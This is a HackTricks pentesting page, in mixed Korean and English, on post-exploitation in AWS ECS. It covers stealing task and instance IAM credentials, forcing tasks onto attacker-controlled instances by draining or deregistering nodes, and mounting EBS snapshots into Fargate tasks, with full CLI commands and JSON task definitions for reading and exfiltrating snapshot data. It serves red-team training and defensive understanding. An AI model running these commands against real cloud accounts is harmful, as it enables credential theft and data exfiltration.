AWS - ECS Post Exploitation

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

ECS

For more information check:

AWS - ECS Enum

호스트 IAM 역할

In ECS an IAM role can be assigned to the task running inside the container. If the task is run inside an EC2 instance, the EC2 instance will have another IAM role attached to it.
Which means that if you manage to compromise an ECS instance you can potentially obtain the IAM role associated to the ECR and to the EC2 instance. For more info about how to get those credentials check:

Cloud SSRF - HackTricks

Caution

IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

Privesc to node to steal other containers creds & secrets

But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or access the docker socket, you can check which other containers are being run, and even get inside of them and steal their IAM roles attached.

현재 호스트에서 컨테이너를 실행시키기

Furthermore, the EC2 instance role will usually have enough permissions to update the container instance state of the EC2 instances being used as nodes inside the cluster. An attacker could modify the state of an instance to DRAINING, then ECS will remove all the tasks from it and the ones being run as REPLICA will be run in a different instance, potentially inside the attackers instance so he can steal their IAM roles and potential sensitive info from inside the container.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

같은 기법은 deregistering the EC2 instance from the cluster로 수행할 수 있습니다. 이는 잠재적으로 덜 은밀하지만 force the tasks to be run in other instances:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

작업 재실행을 강제하는 마지막 기법은 ECS에 task or container was stopped을 알리는 것입니다. 이를 위해 사용할 수 있는 API는 3가지가 있습니다:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

ECR 컨테이너에서 민감한 정보 탈취

The EC2 instance will probably also have the permission ecr:GetAuthorizationToken allowing it to 이미지 다운로드 (you could search for sensitive info in them).

EBS 스냅샷을 ECS 태스크에 직접 마운트 (configuredAtLaunch + volumeConfigurations)

네이티브 ECS‑EBS 통합(2024+)을 악용해 기존 EBS 스냅샷의 내용을 새로운 ECS 태스크/서비스 내부에 직접 마운트하고 컨테이너 내부에서 데이터를 읽을 수 있습니다.

  • 필요 권한(최소):

  • ecs:RegisterTaskDefinition

  • 다음 중 하나: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole 대상:

  • 볼륨에 사용되는 ECS 인프라 역할 (정책: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • 태스크 정의에서 참조되는 Task execution/Task 역할

  • 스냅샷이 CMK로 암호화된 경우: 인프라 역할에 대한 KMS 권한 필요 (위 AWS 관리형 정책에는 AWS 관리형 키에 필요한 KMS 권한이 포함되어 있음).

  • 영향: 스냅샷에서 임의의 디스크 내용을(예: 데이터베이스 파일) 컨테이너 내부에서 읽고 네트워크/로그를 통해 exfiltrate할 수 있음.

Steps (Fargate example):

  1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. task definition을 등록하여 configuredAtLaunch로 표시된 volume을 포함시키고 container에 마운트합니다. 예시 (prints the secret then sleeps):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. volumeConfigurations.managedEBSVolume를 통해 EBS snapshot을 전달하여 서비스를 생성하거나 업데이트합니다 (infra role에 대한 iam:PassRole 필요). 예:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. task가 시작되면 컨테이너는 구성된 마운트 경로(예: /loot)에서 스냅샷 내용을 읽을 수 있습니다. Exfiltrate는 task의 네트워크/로그를 통해 수행하세요.

정리:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

참고 자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기